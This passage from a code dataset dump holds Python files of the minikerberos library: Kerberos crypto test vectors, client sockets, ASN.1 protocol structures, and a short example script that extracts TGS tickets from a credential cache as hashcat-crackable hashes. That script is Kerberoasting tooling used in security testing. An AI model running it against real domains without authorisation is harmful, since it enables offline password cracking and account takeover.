cf2(Enctype.AES256, k1, k2, b'a', b'b')\n\tassert(k.contents == kb)\n\n\t# DES3 encrypt and decrypt\n\tkb = h('0DD52094E0F41CECCB5BE510A764B35176E3981332F1E598')\n\tconf = h('94690A17B2DA3C9B')\n\tkeyusage = 3\n\tplain = b'13 bytes byte'\n\tctxt = h('839A17081ECBAFBCDC91B88C6955DD3C4514023CF177B77BF0D0177A16F705E8'\n\t\t\t '49CB7781D76A316B193F8D30')\n\tk = Key(Enctype.DES3, kb)\n\tassert(encrypt(k, keyusage, plain, conf) == ctxt)\n\tassert(decrypt(k, keyusage, ctxt) == _zeropad(plain, 8))\n\n\t# DES3 string-to-key\n\tstring = 'password'.encode()\n\tsalt = '<PASSWORD>'.encode()\n\tkb = h('850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E')\n\tk = string_to_key(Enctype.DES3, string, salt)\n\tassert(k.contents == kb)\n\n\t# DES3 checksum\n\tkb = h('7A25DF8992296DCEDA0E135BC4046E2375B3C14C98FBC162')\n\tkeyusage = 2\n\tplain = 'six seven'.encode()\n\tcksum = h('0EEFC9C3E049AABC1BA5C401677D9AB699082BB4')\n\tk = Key(Enctype.DES3, kb)\n\tverify_checksum(Cksumtype.SHA1_DES3, k, keyusage, plain, cksum)\n\n\t# DES3 cf2\n\tkb = h('E58F9EB643862C13AD38E529313462A7F73E62834FE54A01')\n\tk1 = string_to_key(Enctype.DES3, 'key1'.encode(), 'key1'.encode())\n\tk2 = string_to_key(Enctype.DES3, 'key2'.encode(), 'key2'.encode())\n\tk = cf2(Enctype.DES3, k1, k2, b'a', b'b')\n\tassert(k.contents == kb)\n\n\t# RC4 encrypt and decrypt\n\tkb = h('68F263DB3FCE15D031C9EAB02D67107A')\n\tconf = h('37245E73A45FBF72')\n\tkeyusage = 4\n\tplain = b'30 bytes bytes bytes bytes byt'\n\tctxt = h('95F9047C3AD75891C2E9B04B16566DC8B6EB9CE4231AFB2542EF87A7B5A0F260'\n\t\t\t 'A99F0460508DE0CECC632D07C354124E46C5D2234EB8')\n\tk = Key(Enctype.RC4, kb)\n\tassert(encrypt(k, keyusage, plain, conf) == ctxt)\n\tassert(decrypt(k, keyusage, ctxt) == plain)\n\n\t# RC4 string-to-key\n\tstring = 'foo'.encode()\n\tkb = h('AC8E657F83DF82BEEA5D43BDAF7800CC')\n\tk = string_to_key(Enctype.RC4, string, None)\n\tassert(k.contents == kb)\n\n\t# RC4 checksum\n\tkb = h('F7D3A155AF5E238A0B7A871A96BA2AB2')\n\tkeyusage = 6\n\tplain = 'seventeen eighteen nineteen twenty'.encode()\n\tcksum = h('EB38CC97E2230F59DA4117DC5859D7EC')\n\tk = Key(Enctype.RC4, kb)\n\tverify_checksum(Cksumtype.HMAC_MD5, k, keyusage, plain, cksum)\n\n\t# RC4 cf2\n\tkb = h('24D7F6B6BAE4E5C00D2082C5EBAB3672')\n\tk1 = string_to_key(Enctype.RC4, 'key1'.encode(), 'key1'.encode())\n\tk2 = string_to_key(Enctype.RC4, 'key2'.encode(), 'key2'.encode())\n\tk = cf2(Enctype.RC4, k1, k2, b'a', b'b')\n\tassert(k.contents == kb)\n\n\t# DES string-to-key\n\tstring = 'password'.encode()\n\tsalt = '<PASSWORD>'.encode()\n\tkb = h('cbc22fae235298e3')\n\tk = string_to_key(Enctype.DES_MD5, string, salt)\n\tassert(k.contents == kb)\n\t\n\t# DES string-to-key\n\tstring = 'potatoe'.encode()\n\tsalt = '<PASSWORD>'.encode()\n\tkb = h('df3d32a74fd92a01')\n\tk = string_to_key(Enctype.DES_MD5, string, salt)\n\tassert(k.contents == kb)\n\tprint('all tests passed!')\n\t\n\t\n", "id": "1233723", "language": "Python", "matching_score": 0.5583484768867493, "max_stars_count": 0, "path": "minikerberos/protocol/encryption.py" }, { "content": "#!/usr/bin/env python3\n#\n# Author:\n# <NAME> (@skelsec)\n#\n\nfrom minikerberos.common.ccache import CCACHE\n\ndef main():\n\timport argparse\n\tparser = argparse.ArgumentParser(description='Parses CCACHE file and outputs all TGS tickets in a hashcat-crackable format')\n\tparser.add_argument('ccache', help='CCACHE file to roast')\n\t\n\targs = parser.parse_args()\n\t\n\tccache = CCACHE.from_file(args.ccache)\n\tfor hash in ccache.get_hashes(all_hashes = True):\n\t\tprint(hash)\n\t\t\n\t\t\nif __name__ == '__main__':\n\tmain()", "id": "10197511", "language": "Python", "matching_score": 0.05826409533619881, "max_stars_count": 146, "path": "minikerberos/examples/ccacheroast.py" }, { "content": "#!/usr/bin/env python3\n#\n# Author:\n# <NAME> (@skelsec)\n#\n\nimport asyncio\n\nfrom minikerberos.protocol.asn1_structs import KerberosResponse\nfrom minikerberos.common.constants import KerberosSocketType\n\nclass AIOKerberosClientSocket:\n\tdef __init__(self, target):\n\t\tself.target = target\n\t\t#ip, port = 88, soc_type = KerberosSocketType.TCP\n\t\tself.soc_type = target.protocol\n\t\tself.dst_ip = target.ip\n\t\tself.dst_port = int(target.port)\n\t\t#self.soc = None\n\t\tself.reader = None\n\t\tself.writer = None\n\t\t\n\tdef __str__(self):\n\t\tt = '===KerberosSocket AIO===\\r\\n'\n\t\tt += 'soc_type: %s\\r\\n' % self.soc_type\n\t\tt += 'dst_ip: %s\\r\\n' % self.dst_ip\n\t\tt += 'dst_port: %s\\r\\n' % self.dst_port\n\t\t\n\t\treturn t\t\t\n\t\t\n\tdef get_addr_str(self):\n\t\treturn '%s:%d' % (self.dst_ip, self.dst_port)\n\t\t\n\tasync def create_soc(self):\n\t\tif self.soc_type == KerberosSocketType.TCP:\n\t\t\tself.reader, self.writer = await asyncio.open_connection(self.dst_ip, self.dst_port)\n\t\t\n\t\telif self.soc_type == KerberosSocketType.UDP:\n\t\t\traise Exception('UDP not implemented!')\n\t\t\t\n\t\telse:\n\t\t\traise Exception('Unknown socket type!')\n\t\t\t\n\tasync def sendrecv(self, data, throw = False):\n\t\tawait self.create_soc()\n\t\ttry:\n\t\t\tif self.soc_type == KerberosSocketType.TCP:\t\t\t\t\n\t\t\t\tlength = len(data).to_bytes(4, byteorder = 'big', signed = False)\n\t\t\t\tself.writer.write(length + data)\n\t\t\t\tawait self.writer.drain()\n\t\t\t\t\n\t\t\t\tt = await self.reader.readexactly(4)\n\t\t\t\tlength = int.from_bytes(t, byteorder = 'big', signed = False)\n\t\t\t\tdata = await self.reader.readexactly(length)\n\t\t\t\t\n\t\t\telif self.soc_type == KerberosSocketType.UDP:\n\t\t\t\traise Exception('Not implemented!')\n\t\t\t\n\t\t\tkrb_message = KerberosResponse.load(data)\n\t\t\treturn krb_message\n\t\tfinally:\n\t\t\tself.writer.close()\n\t\t\tself.reader = None\n\t\t\tself.writer = None\n\t\t\n\t\t", "id": "3497324", "language": "Python", "matching_score": 4.382674217224121, "max_stars_count": 146, "path": "minikerberos/network/aioclientsocket.py" }, { "content": "\nimport socket\n\nfrom minikerberos.protocol.asn1_structs import KerberosResponse\nfrom minikerberos.common.constants import KerberosSocketType\nfrom minikerberos.protocol.errors import KerberosErrorCode, KerberosError\n\n\nclass KerberosClientSocket:\n\tdef __init__(self, target):\n\t\tself.target = target\n\t\t#ip, port = 88, soc_type = KerberosSocketType.TCP\n\t\tself.soc_type = target.protocol\n\t\tself.dst_ip = target.ip\n\t\tself.dst_port = int(target.port)\n\t\tself.soc = None\n\t\t\n\tdef __str__(self):\n\t\tt = '===KerberosClientSocket===\\r\\n'\n\t\tt += 'soc_type: %s\\r\\n' % self.soc_type\n\t\tt += 'dst_ip: %s\\r\\n' % self.dst_ip\n\t\tt += 'dst_port: %s\\r\\n' % self.dst_port\n\t\t\n\t\treturn t\n\n\tdef get_addr_str(self):\n\t\treturn '%s:%d' % (self.dst_ip, self.dst_port)\n\t\t\n\tdef create_soc(self):\n\t\tif self.soc_type == KerberosSocketType.TCP:\n\t\t\tself.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\t\tself.soc.connect((self.dst_ip, self.dst_port))\n\n\t\telif self.soc_type == KerberosSocketType.UDP:\n\t\t\tself.soc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\t\t\n\t\telse:\n\t\t\traise Exception('Unknown socket type!')\n\t\t\t\n\tdef sendrecv(self, data, throw = True):\n\t\t#throw variable indicates wether to create an exception when a kerberos error happens or just return the kerberos error\"\n\t\t#for any other exceptions types (eg. connection related errors) an exception will be raised regardless\n\n\t\tself.create_soc()\n\t\ttry:\n\t\t\tif self.soc_type == KerberosSocketType.TCP:\n\t\t\t\tlength = len(data).to_bytes(4, byteorder = 'big', signed = False)\n\t\t\t\tself.soc.sendall(length + data)\n\t\t\t\tbuff = b''\n\t\t\t\ttotal_length = -1\n\t\t\t\twhile True:\n\t\t\t\t\ttemp = b''\n\t\t\t\t\ttemp = self.soc.recv(4096)\n\t\t\t\t\tif temp == b'':\n\t\t\t\t\t\tbreak\n\t\t\t\t\tbuff += temp\n\t\t\t\t\tif total_length == -1:\n\t\t\t\t\t\tif len(buff) > 4:\n\t\t\t\t\t\t\ttotal_length = int.from_bytes(buff[:4], byteorder = 'big', signed = False)\n\t\t\t\t\t\t\tif total_length == 0:\n\t\t\t\t\t\t\t\traise Exception('Returned data length is 0! This means the server did not understand our message')\n\t\t\t\t\t\n\t\t\t\t\tif total_length != -1:\n\t\t\t\t\t\tif len(buff) == total_length + 4:\n\t\t\t\t\t\t\tbuff = buff[4:]\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telif len(buff) > total_length + 4:\n\t\t\t\t\t\t\traise Exception('Got too much data somehow')\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\telif self.soc_type == KerberosSocketType.UDP:\n\t\t\t\tself.soc.sendto(data, (self.dst_ip, self.dst_port))\n\t\t\t\twhile True:\n\t\t\t\t\tbuff, addr = self.soc.recvfrom(65535)\n\t\t\t\t\tif addr[0] == self.dst_ip:\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\t# got a message from a different IP than the target, strange!\n\t\t\t\t\t\t# continuing, but this might result in an infinite loop\n\t\t\t\t\t\tcontinue\n\t\t\tif buff == b'':\n\t\t\t\traise Exception('Server closed the connection!')\n\t\t\tkrb_message = KerberosResponse.load(buff)\n\t\t\tif krb_message.name == 'KRB_ERROR' and throw == True:\n\t\t\t\traise KerberosError(krb_message)\n\t\t\treturn krb_message\n\t\tfinally:\n\t\t\tself.soc.close()\n", "id": "9033007", "language": "Python", "matching_score": 1.1585443019866943, "max_stars_count": 146, "path": "minikerberos/network/clientsocket.py" }, { "content": "#!/usr/bin/env python3\n#\n# Author:\n# <NAME> (@skelsec)\n#\n\n# https://zeroshell.org/kerberos/kerberos-operation/\n\nfrom asn1crypto import core\nimport enum\nimport os\n\n# KerberosV5Spec2 DEFINITIONS EXPLICIT TAGS ::=\nTAG = 'explicit'\n\n# class\nUNIVERSAL = 0\nAPPLICATION = 1\nCONTEXT = 2\nkrb5_pvno = 5 #-- current Kerberos protocol version number\n\n\"\"\"\nclass NegotiationToken(core.Choice):\n\t_alternatives = [\n\t\t#('NegTokenInit2', NegTokenInit2, {'implicit': (0,16) } ), #NegTokenInit2 the '2' in the name is because Microsoft added modifications to the original rfc :)\n\t\t('NegTokenInit2', NegTokenInit2, {'implicit': (0,16) } ), #NegTokenInit2 the '2' in the name is because Microsoft added modifications to the original rfc :)\n\t\t('negTokenResp', negTokenResp, {'explicit': (2,1) } ),\n\t\t\n]\n\"\"\"\n\t\nclass PADATA_TYPE(core.Enumerated):\n\t_map = {\n\t\t0 : 'NONE', #(0),\n\t\t1 : 'TGS-REQ', #(1), #\t\t1 : 'AP-REQ', #(1),\n\t\t2 : 'ENC-TIMESTAMP', #(2),\n\t\t3 : 'PW-SALT', #(3),\n\t\t5 : 'ENC-UNIX-TIME', #(5),\n\t\t6 : 'SANDIA-SECUREID', #(6),\n\t\t7 : 'SESAME', #(7),\n\t\t8 : 'OSF-DCE', #(8),\n\t\t9 : 'CYBERSAFE-SECUREID', #(9),\n\t\t10 : 'AFS3-SALT', #(10),\n\t\t11 : 'ETYPE-INFO', #(11),\n\t\t12 : 'SAM-CHALLENGE', #(12), -- ', #(sam/otp)\n\t\t13 : 'SAM-RESPONSE', #(13), -- ', #(sam/otp)\n\t\t14 : 'PK-AS-REQ-19', #(14), -- ', #(PKINIT-19)\n\t\t15 : 'PK-AS-REP-19', #(15), -- ', #(PKINIT-19)\n\t\t15 : 'PK-AS-REQ-WIN', #(15), -- ', #(PKINIT - old number)\n\t\t16 : 'PK-AS-REQ', #(16), -- ', #(PKINIT-25)\n\t\t17 : 'PK-AS-REP', #(17), -- ', #(PKINIT-25)\n\t\t18 : 'PA-PK-OCSP-RESPONSE', #(18),\n\t\t19 : 'ETYPE-INFO2', #(19),\n\t\t20 : 'USE-SPECIFIED-KVNO', #(20),\n\t\t20 : 'SVR-REFERRAL-INFO', #(20), --- old ms referral number\n\t\t21 : 'SAM-REDIRECT', #(21), -- ', #(sam/otp)\n\t\t22 : 'GET-FROM-TYPED-DATA', #(22),\n\t\t23 : 'SAM-ETYPE-INFO', #(23),\n\t\t25 : 'SERVER-REFERRAL', #(25),\n\t\t24 : 'ALT-PRINC', #(24),\t\t-- ', #(<EMAIL>)\n\t\t30 : 'SAM-CHALLENGE2', #(30),\t\t-- ', #(<EMAIL>)\n\t\t31 : 'SAM-RESPONSE2', #(31),\t\t-- ', #(<EMAIL>)\n\t\t41 : 'PA-EXTRA-TGT', #(41),\t\t\t-- Reserved extra TGT\n\t\t102 : 'TD-KRB-PRINCIPAL', #(102),\t-- PrincipalName\n\t\t104 : 'PK-TD-TRUSTED-CERTIFIERS', #(104), -- PKINIT\n\t\t105 : 'PK-TD-CERTIFICATE-INDEX', #(105), -- PKINIT\n\t\t106 : 'TD-APP-DEFINED-ERROR', #(106),\t-- application specific\n\t\t107 : 'TD-REQ-NONCE', #(107),\t\t-- INTEGER\n\t\t108 : 'TD-REQ-SEQ', #(108),\t\t-- INTEGER\n\t\t128 : 'PA-PAC-REQUEST', #(128),\t-- <EMAIL>\n\t\t129 : 'PA-FOR-USER', #(129),\t\t-- MS-KILE\n\t\t130 : 'FOR-X509-USER', #(130),\t\t-- MS-KILE\n\t\t131 : 'FOR-CHECK-DUPS', #(131),\t-- MS-KILE\n\t\t132 : 'AS-CHECKSUM', #(132),\t\t-- MS-KILE\n\t\t132 : 'PK-AS-09-BINDING', #(132),\t-- client send this to -- tell KDC that is supports -- the asCheckSum in the -- PK-AS-REP\n\t\t133 : 'CLIENT-CANONICALIZED', #(133),\t-- referals\n\t\t133 : 'FX-COOKIE', #(133),\t\t-- krb-wg-preauth-framework\n\t\t134 : 'AUTHENTICATION-SET', #(134),\t-- krb-wg-preauth-framework\n\t\t135 : 'AUTH-SET-SELECTED', #(135),\t-- krb-wg-preauth-framework\n\t\t136 : 'FX-FAST', #(136),\t\t-- krb-wg-preauth-framework\n\t\t137 : 'FX-ERROR', #(137),\t\t-- krb-wg-preauth-framework\n\t\t138 : 'ENCRYPTED-CHALLENGE', #(138),\t-- krb-wg-preauth-framework\n\t\t141 : 'OTP-CHALLENGE', #(141),\t\t-- ', #(<EMAIL>)\n\t\t142 : 'OTP-REQUEST', #(142),\t\t-- ', #(<EMAIL>)\n\t\t143 : 'OTP-CONFIRM', #(143),\t\t-- ', #(<EMAIL>)\n\t\t144 : 'OTP-PIN-CHANGE', #(144),\t-- ', #(<EMAIL>)\n\t\t145 : 'EPAK-AS-REQ', #(145),\n\t\t146 : 'EPAK-AS-REP', #(146),\n\t\t147 : 'PKINIT-KX', #(147),\t\t-- krb-wg-anon\n\t\t148 : 'PKU2U-NAME', #(148),\t\t-- zhu-pku2u\n\t\t149 : 'REQ-ENC-PA-REP', #(149),\t--\n\t\t151 : 'SPAKE', #(151),\thttps://datatracker.ietf.org/doc/draft-ietf-kitten-krb-spake-preauth/?include_text=1\n\t\t165 : 'SUPPORTED-ETYPES', #(165)\t-- MS-KILE\n\t\t167 : 'PA-PAC-OPTIONS',\n\t}\n\t\nclass AUTHDATA_TYPE(core.Enumerated):\n\t_map = {\n\t\t1 : 'IF-RELEVANT', #1),\n\t\t2 : 'INTENDED-FOR_SERVER', #2),\n\t\t3 : 'INTENDED-FOR-APPLICATION-CLASS', #3),\n\t\t4 : 'KDC-ISSUED', #4),\n\t\t5 : 'AND-OR', #5),\n\t\t6 : 'MANDATORY-TICKET-EXTENSIONS', #6),\n\t\t7 : 'IN-TICKET-EXTENSIONS', #7),\n\t\t8 : 'MANDATORY-FOR-KDC', #8),\n\t\t9 : 'INITIAL-VERIFIED-CAS', #9),\n\t\t64 : 'OSF-DCE', #64),\n\t\t65 : 'SESAME', #65),\n\t\t66 : 'OSF-DCE-PKI-CERTID', #66),\n\t\t128 : 'WIN2K-PAC', #128),\n\t\t129 : 'GSS-API-ETYPE-NEGOTIATION', #129), -- Authenticator only\n\t\t-17 : 'SIGNTICKET-OLDER', #-17),\n\t\t142 : 'SIGNTICKET-OLD', #142),\n\t\t512 : 'SIGNTICKET', #512)\n\t}\n\nclass CKSUMTYPE(core.Enumerated):\n\t_map = {\n\t\t0 : 'NONE', #0),\n\t\t1 : 'CRC32', #1),\n\t\t2 : 'RSA_MD4', #2),\n\t\t3 : 'RSA_MD4_DES', #3),\n\t\t4 : 'DES_MAC', #4),\n\t\t5 : 'DES_MAC_K', #5),\n\t\t6 : 'RSA_MD4_DES_K', #6),\n\t\t7 : 'RSA_MD5', #7),\n\t\t8 : 'RSA_MD5_DES', #8),\n\t\t9 : 'RSA_MD5_DES3', #9),\n\t\t10 : 'SHA1_OTHER', #10),\n\t\t12 : 'HMAC_SHA1_DES3', #12),\n\t\t14 : 'SHA1', #14),\n\t\t15 : 'HMAC_SHA1_96_AES_128', #15),\n\t\t16 : 'HMAC_SHA1_96_AES_256', #16),\n\t\t0x8003 : 'GSSAPI', #0x8003),\n\t\t-138 : 'HMAC_MD5', #-138),\t-- unofficial microsoft number\n\t\t-1138 : 'HMAC_MD5_ENC', #-1138)\t-- even more unofficial\n\t}\n\n#enctypes\nclass ENCTYPE(core.Enumerated):\n\t_map = {\n\t\t0 : 'NULL', #0),\n\t\t1 : 'DES_CBC_CRC', #1),\n\t\t2 : 'DES_CBC_MD4', #2),\n\t\t3 : 'DES_CBC_MD5', #3),\n\t\t5 : 'DES3_CBC_MD5', #5),\n\t\t7 : 'OLD_DES3_CBC_SHA1', #7),\n\t\t8 : 'SIGN_DSA_GENERATE', #8),\n\t\t9 : 'ENCRYPT_RSA_PRIV', #9),\n\t\t10 : 'ENCRYPT_RSA_PUB', #10),\n\t\t16 : 'DES3_CBC_SHA1', #16),\t-- with key derivation\n\t\t17 : 'AES128_CTS_HMAC_SHA1_96', #17),\n\t\t18 : 'AES256_CTS_HMAC_SHA1_96', #18),\n\t\t23 : 'ARCFOUR_HMAC_MD5', #23),\n\t\t24 : 'ARCFOUR_HMAC_MD5_56', #24),\n\t\t48 : 'ENCTYPE_PK_CROSS', #48),\n\t\t#-- some \"old\" windows types\n\t\t-128 : 'ARCFOUR_MD4', #-128),\n\t\t-133 : 'ARCFOUR_HMAC_OLD', #-133),\n\t\t-135 : 'ARCFOUR_HMAC_OLD_EXP', #-135),\n\t\t#-- these are for Heimdal internal use\n\t\t-0x1000 : 'DES_CBC_NONE', #-0x1000),\n\t\t-0x1001 : 'DES3_CBC_NONE', #-0x1001),\n\t\t-0x1002 : 'DES_CFB64_NONE', #-0x1002),\n\t\t-0x1003 : 'DES_PCBC_NONE', #-0x1003),\n\t\t-0x1004 : 'DIGEST_MD5_NONE', #-0x1004),\t\t-- private use, <EMAIL>\n\t\t-0x1005 : 'CRAM_MD5_NONE', #-0x1005)\t\t-- private use, <EMAIL>\n\t}\n\t\nclass SequenceOfEnctype(core.SequenceOf):\n\t_child_spec = core.Integer\n\nclass Microseconds(core.Integer):\n\t\"\"\" ::= INTEGER (0..999999)\n\t-- microseconds\n \"\"\" \nclass krb5int32 (core.Integer):\n \"\"\"krb5int32 ::= INTEGER (-2147483648..2147483647)\n \"\"\"\n\n\nclass krb5uint32 (core.Integer):\n \"\"\"krb5uint32 ::= INTEGER (0..4294967295)\n \"\"\"\n\nclass KerberosString(core.GeneralString):\n\t\"\"\"KerberosString ::= GeneralString (IA5String)\n\tFor compatibility, implementations MAY choose to accept GeneralString\n\tvalues that contain characters other than those permitted by\n\tIA5String...\n\t\"\"\"\n\t\nclass SequenceOfKerberosString(core.SequenceOf):\n\t_child_spec = KerberosString\n\t\n# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py\nclass Realm(KerberosString):\n\t\"\"\"Realm ::= KerberosString\n\t\"\"\"\n\n\t\n# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py\nclass PrincipalName(core.Sequence):\n\t\"\"\"PrincipalName for KDC-REQ-BODY and Ticket\n\tPrincipalName ::= SEQUENCE {\n\t\tname-type\t[0] Int32,\n\t\tname-string [1] SEQUENCE OF KerberosString\n\t}\n\t\"\"\"\n\t_fields = [\n\t\t('name-type', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('name-string', SequenceOfKerberosString, {'tag_type': TAG, 'tag': 1}),\n\t]\n\t\n\t\nclass Principal(core.Sequence):\n\t_fields = [\n\t\t('name', PrincipalName, {'tag_type': TAG, 'tag': 0}),\n\t\t('realm', Realm, {'tag_type': TAG, 'tag': 1}),\n\t]\n\n\t\nclass Principals(core.SequenceOf):\n\t_child_spec = Principal\n\n\t\nclass HostAddress(core.Sequence):\n \"\"\"HostAddress for HostAddresses\n HostAddress ::= SEQUENCE {\n addr-type [0] Int32,\n address [1] OCTET STRING\n }\n \"\"\"\n _fields = [\n ('addr-type', krb5int32, {'tag_type': TAG, 'tag': 0}),\n ('address', core.OctetString, {'tag_type': TAG, 'tag': 1}),\n]\n\n\nclass HostAddresses(core.SequenceOf):\n\t\"\"\"SEQUENCE OF HostAddress\n\t\"\"\"\n\t_child_spec = HostAddress\n\t\n\t\nclass KerberosTime(core.GeneralizedTime):\n \"\"\"KerberosTime ::= GeneralizedTime\n \"\"\"\n\n\t\nclass AuthorizationDataElement(core.Sequence):\n\t_fields = [\n ('ad-type', krb5int32, {'tag_type': TAG, 'tag': 0}),\n ('ad-data', core.OctetString, {'tag_type': TAG, 'tag': 1}),\n\t]\n\n\t\nclass AuthorizationData(core.SequenceOf):\n\t\"\"\"SEQUENCE OF HostAddress\n\t\"\"\"\n\t_child_spec = AuthorizationDataElement\n\t\n\nclass APOptions(core.BitString):\n\t_map = {\n\t\t0 : 'reserved', #(0),\n\t\t1 : 'use-session-key', #(1),\n\t\t2 : 'mutual-required', #(2)\n\t}\n\n\t\nclass TicketFlags(core.BitString):\n\t_map = {\n\t\t0: 'reserved',\n\t\t1: 'forwardable',\n\t\t2: 'forwarded',\n\t\t3: 'proxiable',\n\t\t4: 'proxy',\n\t\t5: 'may-postdate',\n\t\t6: 'postdated',\n\t\t7: 'invalid',\n\t\t8: 'renewable',\n\t\t9: 'initial',\n\t\t10: 'pre-authent',\n\t\t11: 'hw-authent',\n\t\t12: 'transited-policy-checked',\n\t\t13: 'ok-as-delegate',\n\t\t14: 'anonymous',\n\t\t15: 'enc-pa-rep'\n\t}\n\n\nclass KDCOptions(core.BitString):\n\t_map = {\n\t\t0: 'reserved',\n\t\t1: 'forwardable',\n\t\t2: 'forwarded',\n\t\t3: 'proxiable',\n\t\t4: 'proxy',\n\t\t5: 'allow-postdate',\n\t\t6: 'postdated',\n\t\t7: 'unused7',\n\t\t8: 'renewable',\n\t\t9: 'unused9',\n\t\t10: 'unused10',\n\t\t11: 'opt-hardware-auth',\n\t\t12: 'unused12',\n\t\t13: 'unused13',\n\t\t14: 'constrained-delegation', #-- cname-in-addl-tkt (14) \n\t\t15: 'canonicalize',\n\t\t16: 'request-anonymous',\n\t\t17: 'unused17',\n\t\t18: 'unused18',\n\t\t19: 'unused19',\n\t\t20: 'unused20',\n\t\t21: 'unused21',\n\t\t22: 'unused22',\n\t\t23: 'unused23',\n\t\t24: 'unused24',\n\t\t25: 'unused25',\n\t\t26: 'disable-transited-check',\n\t\t27: 'renewable-ok',\n\t\t28: 'enc-tkt-in-skey',\n\t\t30: 'renew',\n\t\t31: 'validate',\n\t}\n\nclass LR_TYPE(core.Enumerated):\n\t_map = {\n\t\t0 : 'NONE', #0),\t\t-- no information\n\t\t1 : 'INITIAL_TGT', #1),\t-- last initial TGT request\n\t\t2 : 'INITIAL', #2),\t\t-- last initial request\n\t\t3 : 'ISSUE_USE_TGT', #3),\t-- time of newest TGT used\n\t\t4 : 'RENEWAL', #4),\t\t-- time of last renewal\n\t\t5 : 'REQUEST', #5),\t\t-- time of last request ', #of any type)\n\t\t6 : 'PW_EXPTIME', #6),\t-- expiration time of password\n\t\t7 : 'ACCT_EXPTIME', #7)\t-- expiration time of account\n\t}\n\t\nclass LastReqInner(core.Sequence):\n\t_fields = [\n\t\t('lr-type', krb5int32, {'tag_type': TAG, 'tag': 0}), #LR_TYPE\n\t\t('lr-value', KerberosTime, {'tag_type': TAG, 'tag': 1}),\n\t]\n\nclass LastReq(core.SequenceOf):\n\t_child_spec = LastReqInner\n\n\nclass EncryptedData(core.Sequence):\n\t_fields = [\n\t\t('etype', krb5int32, {'tag_type': TAG, 'tag': 0}), #-- EncryptionType\n\t\t('kvno', krb5uint32, {'tag_type': TAG, 'tag': 1, 'optional': True}), #\n\t\t('cipher', core.OctetString, {'tag_type': TAG, 'tag': 2}), #ciphertext\n\t]\n\n\nclass EncryptionKey(core.Sequence):\n\t_fields = [\n\t\t('keytype', krb5uint32, {'tag_type': TAG, 'tag': 0}), #-- EncryptionType\n\t\t('keyvalue', core.OctetString, {'tag_type': TAG, 'tag': 1}), #\n\t]\n\n\n#-- encoded Transited field\n\nclass TransitedEncoding(core.Sequence):\n\t_fields = [\n\t\t('tr-type', krb5uint32, {'tag_type': TAG, 'tag': 0}), #-- must be registered\n\t\t('contents', core.OctetString, {'tag_type': TAG, 'tag': 1}), #\n\t]\n\n\n\n# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py\nclass Ticket(core.Sequence):\n\texplicit = (APPLICATION,1)\n\t\n\t_fields = [\n\t\t('tkt-vno', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('realm', Realm, {'tag_type': TAG, 'tag': 1}),\n\t\t('sname', PrincipalName, {'tag_type': TAG, 'tag': 2}),\n\t\t('enc-part', EncryptedData, {'tag_type': TAG, 'tag': 3}), #EncTicketPart\n\t]\n\t\nclass SequenceOfTicket(core.SequenceOf):\n\t\"\"\"SEQUENCE OF Ticket for KDC-REQ-BODY\n\t\"\"\"\n\t_child_spec = Ticket\n\n\n#-- Encrypted part of ticket\nclass EncTicketPart(core.Sequence):\n\texplicit = (APPLICATION, 3)\n\t\n\t_fields = [\n\t\t('flags', TicketFlags, {'tag_type': TAG, 'tag': 0}),\n\t\t('key', EncryptionKey, {'tag_type': TAG, 'tag': 1}),\n\t\t('crealm', Realm, {'tag_type': TAG, 'tag': 2}),\n\t\t('cname', PrincipalName, {'tag_type': TAG, 'tag': 3}),\n\t\t('transited', TransitedEncoding, {'tag_type': TAG, 'tag': 4}),\n\t\t('authtime', KerberosTime, {'tag_type': TAG, 'tag': 5}),\n\t\t('starttime', KerberosTime, {'tag_type': TAG, 'tag': 6, 'optional': True}),\n\t\t('endtime', KerberosTime, {'tag_type': TAG, 'tag': 7}),\n\t\t('renew-till', KerberosTime, {'tag_type': TAG, 'tag': 8, 'optional': True}),\n\t\t('caddr', HostAddresses, {'tag_type': TAG, 'tag': 9, 'optional': True}),\n\t\t('authorization-data', AuthorizationData, {'tag_type': TAG, 'tag': 10, 'optional': True}),\n\t]\n\n\nclass Checksum(core.Sequence):\n\t_fields = [\n\t\t('cksumtype', krb5int32, {'tag_type': TAG, 'tag': 0}), #CKSUMTYPE\n\t\t('checksum', core.OctetString, {'tag_type': TAG, 'tag': 1}),\n\t]\n\n\nclass Authenticator(core.Sequence):\n\texplicit = (APPLICATION,2)\n\t\n\t_fields = [\n\t\t('authenticator-vno', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('crealm', Realm, {'tag_type': TAG, 'tag': 1}),\n\t\t('cname', PrincipalName, {'tag_type': TAG, 'tag': 2}),\n\t\t('cksum', Checksum, {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('cusec', krb5int32, {'tag_type': TAG, 'tag': 4}),\n\t\t('ctime', KerberosTime, {'tag_type': TAG, 'tag': 5}),\n\t\t('subkey', EncryptionKey, {'tag_type': TAG, 'tag': 6, 'optional': True}),\n\t\t('seq-number', krb5uint32, {'tag_type': TAG, 'tag': 7, 'optional': True}),\n\t\t('authorization-data', AuthorizationData, {'tag_type': TAG, 'tag': 8, 'optional': True}),\n\t]\n\n\nclass PA_DATA(core.Sequence): #!!!! IT STARTS AT ONE!!!!\n\t_fields = [\n\t\t('padata-type', core.Integer, {'tag_type': TAG, 'tag': 1}),\n\t\t('padata-value', core.OctetString, {'tag_type': TAG, 'tag': 2}),\n\t]\n\t\nclass ETYPE_INFO_ENTRY(core.Sequence):\n\t_fields = [\n\t\t('etype', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('salt', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('salttype', krb5int32, {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t]\n\nclass ETYPE_INFO(core.SequenceOf):\n\t_child_spec = ETYPE_INFO_ENTRY\n\n\nclass ETYPE_INFO2_ENTRY(core.Sequence):\n\t_fields = [\n\t\t('etype', 